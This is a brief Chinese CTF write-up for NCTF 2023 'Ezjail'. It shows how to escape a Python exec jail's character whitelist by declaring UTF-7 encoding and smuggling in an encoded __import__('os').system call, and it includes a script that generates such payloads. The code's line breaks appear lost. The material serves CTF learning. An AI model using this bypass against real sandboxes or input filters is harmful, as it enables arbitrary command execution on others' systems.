【靶场合集】CTF-NCTF 2023：Ezjail

input_code = input("Please input code > ")whitelist = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=#rn')for c in input_code:    if c not in whitelist:        print("hacker!")        exit(0)bytearray_code = bytearray(input_code.encode())exec(bytearray_code, {}, {})

exec(b'#coding=utf7r+AF8AXwBpAG0AcABvAHIAdABfAF8AKAAnAG8AcwAnACkALgBzAHkAcwB0AGUAbQAoACcAbABzACcAKQ')

Utf-7可以使用base64.b64encode(str01.encode('utf-16-be')).replace(b'=', b'')来实现

import base64

str01 = "__import__('os').system('dir')"input_code = (b'#coding=utf7r+' + base64.b64encode(str01.encode('utf-16-be')).replace(b'=', b'')).decode('utf-8')whitelist = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=#rn')for c in input_code:    if c not in whitelist:        print("hacker!")        exit(0)bytearray_code = bytearray(input_code.encode())exec(bytearray_code, {}, {})